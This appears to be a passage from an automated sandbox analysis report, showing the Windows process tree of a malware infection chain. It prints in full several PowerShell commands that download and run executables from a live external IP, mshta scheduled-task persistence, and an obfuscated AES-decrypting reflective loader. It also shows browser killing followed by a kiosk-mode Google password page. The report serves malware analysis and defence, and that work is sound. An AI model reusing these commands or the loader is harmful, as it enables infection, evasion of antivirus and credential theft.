        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        5⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:6024
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff24fd46f8,0x7fff24fd4708,0x7fff24fd4718
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:6048
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,18261019115866300261,18441021504295725683,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2220 /prefetch:2
        6⤵
        
        PID:2844
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,18261019115866300261,18441021504295725683,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
        6⤵
        
        PID:2264
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2208,18261019115866300261,18441021504295725683,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2824 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2404
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2208,18261019115866300261,18441021504295725683,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2832 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:4908
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2208,18261019115866300261,18441021504295725683,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3340 /prefetch:8
        6⤵
        
        PID:4424
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2208,18261019115866300261,18441021504295725683,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4748 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5700
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2208,18261019115866300261,18441021504295725683,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5736
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\aimyc" & exit
        5⤵
        
        PID:4016
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        Delays execution with timeout.exe
        
        PID:4668
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5104 -s 964
      4⤵
      Program crash
      PID:4288
- - C:\Users\Admin\AppData\Local\Temp\1085329001\amnew.exe
    "C:\Users\Admin\AppData\Local\Temp\1085329001\amnew.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:884
  - - C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
      "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
      4⤵
      Downloads MZ/PE file
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5104
    - - C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe"
        5⤵
        
        PID:3892
      - C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe"
        6⤵
        
        PID:5408
    - - C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe"
        5⤵
        
        PID:5800
      - C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe"
        6⤵
        
        PID:5772
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5800 -s 816
        6⤵
        Program crash
        
        PID:5280
    - - C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
        5⤵
        
        PID:5044
      - C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
        6⤵
        
        PID:2984
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 968
        6⤵
        Program crash
        
        PID:5676
    - - C:\Users\Admin\AppData\Local\Temp\10005030101\12321321.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10005030101\12321321.exe"
        5⤵
        
        PID:5312
    - - C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe"
        5⤵
        
        PID:3032
      - C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe"
        6⤵
        
        PID:2612
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3032 -s 968
        6⤵
        Program crash
        
        PID:2636
- - C:\Users\Admin\AppData\Local\Temp\1085378101\c4a7457852.exe
    "C:\Users\Admin\AppData\Local\Temp\1085378101\c4a7457852.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn yihc4mawnqD /tr "mshta C:\Users\Admin\AppData\Local\Temp\37g4EEbYm.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4048
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn yihc4mawnqD /tr "mshta C:\Users\Admin\AppData\Local\Temp\37g4EEbYm.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3400
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\37g4EEbYm.hta
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      PID:4568
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'DEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3488
      - C:\Users\Admin\AppData\Local\TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE
        
        "C:\Users\Admin\AppData\Local\TempDEQSZDBGHXZIACILVVDMBQU2XDC3R5XO.EXE"
        6⤵
        Modifies Windows Defender DisableAntiSpyware settings
        Modifies Windows Defender Real-time Protection settings
        Modifies Windows Defender TamperProtection settings
        Modifies Windows Defender notification settings
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Windows security modification
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1085379021\am_no.cmd" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1085379021\am_no.cmd" any_word
      4⤵
      System Location Discovery: System Language Discovery
      PID:1740
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4868
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5312
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5328
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5576
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5592
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5748
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5764
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "v49jYmaebfZ" /tr "mshta \"C:\Temp\QpXlbZy5f.hta\"" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5908
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\QpXlbZy5f.hta"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:5924
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5984
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Executes dropped EXE
        Identifies Wine through registry keys
        System Location Discovery: System Language Discovery
        
        PID:5832
- - C:\Users\Admin\AppData\Local\Temp\1085382001\7aencsM.exe
    "C:\Users\Admin\AppData\Local\Temp\1085382001\7aencsM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:5276
  - - C:\Users\Admin\AppData\Local\Temp\1085382001\7aencsM.exe
      "C:\Users\Admin\AppData\Local\Temp\1085382001\7aencsM.exe"
      4⤵
      Executes dropped EXE
      PID:3464
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 968
      4⤵
      Program crash
      PID:1940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1085385041\tYliuwV.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5384
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat"
      4⤵
      PID:2432
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat';$MoqZ='DeKyLvcoKyLvmprKyLveKyLvssKyLv'.Replace('KyLv', ''),'EJwaGlemJwaGeJwaGnJwaGtJwaGAtJwaG'.Replace('JwaG', ''),'CrgSdPegSdPagSdPtgSdPegSdPDecgSdPrypgSdPtorgSdP'.Replace('gSdP', ''),'EnAUSatAUSaryAUSaPAUSaoiAUSantAUSa'.Replace('AUSa', ''),'RifKyeaifKydifKyLiifKyneifKysifKy'.Replace('ifKy', ''),'CoIpkTpyIpkTTIpkToIpkT'.Replace('IpkT', ''),'LRxQFoRxQFaRxQFdRxQF'.Replace('RxQF', ''),'ChPYPIanPYPIgPYPIePYPIExPYPItenPYPIsioPYPInPYPI'.Replace('PYPI', ''),'SplhjTaihjTathjTa'.Replace('hjTa', ''),'IVERYnvoVERYkeVERY'.Replace('VERY', ''),'MaGACXinMGACXoduGACXlGACXeGACX'.Replace('GACX', ''),'GetEffVCuEffVrreEffVnEffVtPEffVroEffVceEffVsEffVsEffV'.Replace('EffV', ''),'TrgFlMagFlMnsgFlMfogFlMrmgFlMFingFlMalgFlMBgFlMlogFlMcgFlMkgFlM'.Replace('gFlM', ''),'FZnjbroZnjbmBaZnjbseZnjb64ZnjbSZnjbtZnjbrinZnjbgZnjb'.Replace('Znjb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($MoqZ[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function OcByW($zyHkO){$MahHK=[System.Security.Cryptography.Aes]::Create();$MahHK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MahHK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MahHK.Key=[System.Convert]::($MoqZ[13])('AAMGkknb01QKxJVl43m9//ZRwVkG6pEiu9VVo6uyG5U=');$MahHK.IV=[System.Convert]::($MoqZ[13])('/W6oLxKJHKSzHfvUm38XsQ==');$RyLXH=$MahHK.($MoqZ[2])();$Vocox=$RyLXH.($MoqZ[12])($zyHkO,0,$zyHkO.Length);$RyLXH.Dispose();$MahHK.Dispose();$Vocox;}function dAZyU($zyHkO){$CHeOb=New-Object System.IO.MemoryStream(,$zyHkO);$PxKaw=New-Object System.IO.MemoryStream;$ikNUp=New-Object System.IO.Compression.GZipStream($CHeOb,[IO.Compression.CompressionMode]::($MoqZ[0]));$ikNUp.($MoqZ[5])($PxKaw);$ikNUp.Dispose();$CHeOb.Dispose();$PxKaw.Dispose();$PxKaw.ToArray();}$ygeKx=[System.IO.File]::($MoqZ[4])([Console]::Title);$WLLeN=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 5).Substring(2))));$PCQGF=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 6).Substring(2))));[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$PCQGF).($MoqZ[3]).($MoqZ[9])($null,$null);[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$WLLeN).($MoqZ[3]).($MoqZ[9])($null,$null); "
        5⤵
        
        PID:1920
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        
        PID:5432
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6008
- - C:\Users\Admin\AppData\Local\Temp\1085386001\Ta3ZyUR.exe
    "C:\Users\Admin\AppData\Local\Temp\1085386001\Ta3ZyUR.exe"
    3⤵
    PID:5928
  - - C:\Users\Admin\AppData\Local\Temp\1085386001\Ta3ZyUR.exe
      "C:\Users\Admin\AppData\Local\Temp\1085386001\Ta3ZyUR.exe"
      4⤵
      PID:2988
  - - C:\Users\Admin\AppData\Local\Temp\1085386001\Ta3ZyUR.exe
      "C:\Users\Admin\AppData\Local\Temp\1085386001\Ta3ZyUR.exe"
      4⤵
      PID:3400
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5928 -s 964
      4⤵
      Program crash
      PID:4364
- - C:\Users\Admin\AppData\Local\Temp\1085387001\DTQCxXZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1085387001\DTQCxXZ.exe"
    3⤵
    PID:6036
- - C:\Users\Admin\AppData\Local\Temp\1085388001\d2YQIJa.exe
    "C:\Users\Admin\AppData\Local\Temp\1085388001\d2YQIJa.exe"
    3⤵
    PID:5972
- - C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe
    "C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe"
    3⤵
    PID:1468
  - - C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe
      "C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe"
      4⤵
      PID:5356
  - - C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe
      "C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe"
      4⤵
      PID:5380
  - - C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe
      "C:\Users\Admin\AppData\Local\Temp\1085389001\Bjkm5hE.exe"
      4⤵
      PID:5168
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 956
      4⤵
      Program crash
      PID:5232
- - C:\Users\Admin\AppData\Local\Temp\1085390001\qFqSpAp.exe
    "C:\Users\Admin\AppData\Local\Temp\1085390001\qFqSpAp.exe"
    3⤵
    PID:5632
- - C:\Users\Admin\AppData\Local\Temp\1085391001\jROrnzx.exe
    "C:\Users\Admin\AppData\Local\Temp\1085391001\jROrnzx.exe"
    3⤵
    PID:4372
  - - C:\Users\Admin\AppData\Local\Temp\1085391001\jROrnzx.exe
      "C:\Users\Admin\AppData\Local\Temp\1085391001\jROrnzx.exe"
      4⤵
      PID:2844
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 968
      4⤵
      Program crash
      PID:4312
- - C:\Users\Admin\AppData\Local\Temp\1085392001\5ef6d132b1.exe
    "C:\Users\Admin\AppData\Local\Temp\1085392001\5ef6d132b1.exe"
    3⤵
    PID:5160
- - C:\Users\Admin\AppData\Local\Temp\1085393001\827472313b.exe
    "C:\Users\Admin\AppData\Local\Temp\1085393001\827472313b.exe"
    3⤵
    PID:5296
- - C:\Users\Admin\AppData\Local\Temp\1085394001\90b15e851c.exe
    "C:\Users\Admin\AppData\Local\Temp\1085394001\90b15e851c.exe"
    3⤵
    PID:6056
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      PID:2172
- - C:\Users\Admin\AppData\Local\Temp\1085395001\d187fda5d2.exe
    "C:\Users\Admin\AppData\Local\Temp\1085395001\d187fda5d2.exe"
    3⤵
    PID:5616
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      Kills process with taskkill
      PID:6108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      Kills process with taskkill
      PID:1480
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      Kills process with taskkill
      PID:2516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      Kills process with taskkill
      PID:704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM brave.exe /T
      4⤵
      Kills process with taskkill
      PID:4604
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
      4⤵
      PID:4448
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:5956
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1992 -parentBuildID 20240401114208 -prefsHandle 1904 -prefMapHandle 1892 -prefsLen 27356 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b8313874-fe06-4221-93dc-1b37e4bb2919} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" gpu
        6⤵
        
        PID:2292
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2468 -parentBuildID 20240401114208 -prefsHandle 2436 -prefMapHandle 2432 -prefsLen 28276 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8ee61fb1-fd3b-433a-a641-47dd24745bc8} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" socket
        6⤵
        
        PID:6080
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3112 -childID 1 -isForBrowser -prefsHandle 3208 -prefMapHandle 3176 -prefsLen 22684 -prefMapSize 244628 -jsInitHandle 1236 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0c663375-c8d7-45e2-ab18-9e25f182c6a9} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" tab
        6⤵
        
        PID:5680
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3940 -childID 2 -isForBrowser -prefsHandle 1504 -prefMapHandle 1440 -prefsLen 32766 -prefMapSize 244628 -jsInitHandle 1236 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {92812644-09b7-4a4b-91f7-2dddfa35846f} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" tab
        6⤵
        
        PID:2088
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4328 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4288 -prefMapHandle 4312 -prefsLen 32766 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1c92d35e-1369-4e76-b91b-bcf1fea9cb5b} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" utility
        6⤵
        
        PID:5904
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5104 -childID 3 -isForBrowser -prefsHandle 5204 -prefMapHandle 5216 -prefsLen 26976 -prefMapSize 244628 -jsInitHandle 1236 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {608d380b-d6b5-448c-b847-8beaf2342087} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" tab
        6⤵
        
        PID:6124
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5376 -childID 4 -isForBrowser -prefsHandle 5456 -prefMapHandle 5452 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1236 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {657f6964-c5c4-40c3-bef8-c2e55b229033} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" tab
        6⤵
        
        PID:3712
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5580 -childID 5 -isForBrowser -prefsHandle 5664 -prefMapHandle 5660 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 1236 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {920adc92-a7b6-4cba-a3ce-4effbcd528ff} 5956 "\\.\pipe\gecko-crash-server-pipe.5956" tab
        6⤵
        
        PID:5796
- - C:\Users\Admin\AppData\Local\Temp\1085396001\4466860b84.exe
    "C:\Users\Admin\AppData\Local\Temp\1085396001\4466860b84.exe"
    3⤵
    PID:2432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn gvdHGmalW6Z /tr "mshta C:\Users\Admin\AppData\Local\Temp\GnkmDrgzm.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      PID:5952
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn gvdHGmalW6Z /tr "mshta C:\Users\Admin\AppData\Local\Temp\GnkmDrgzm.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1144
  - - C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\GnkmDrgzm.hta
      4⤵
      PID:5868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'VUMMDY1EPWC3XSALISKLZLOEMNCRWGNH.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2064
      - C:\Users\Admin\AppData\Local\TempVUMMDY1EPWC3XSALISKLZLOEMNCRWGNH.EXE
        
        "C:\Users\Admin\AppData\Local\TempVUMMDY1EPWC3XSALISKLZLOEMNCRWGNH.EXE"
        6⤵
        
        PID:5820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1764 -ip 1764
1⤵
PID:4708

C:\Windows\SysWOW64\WerFault.exe
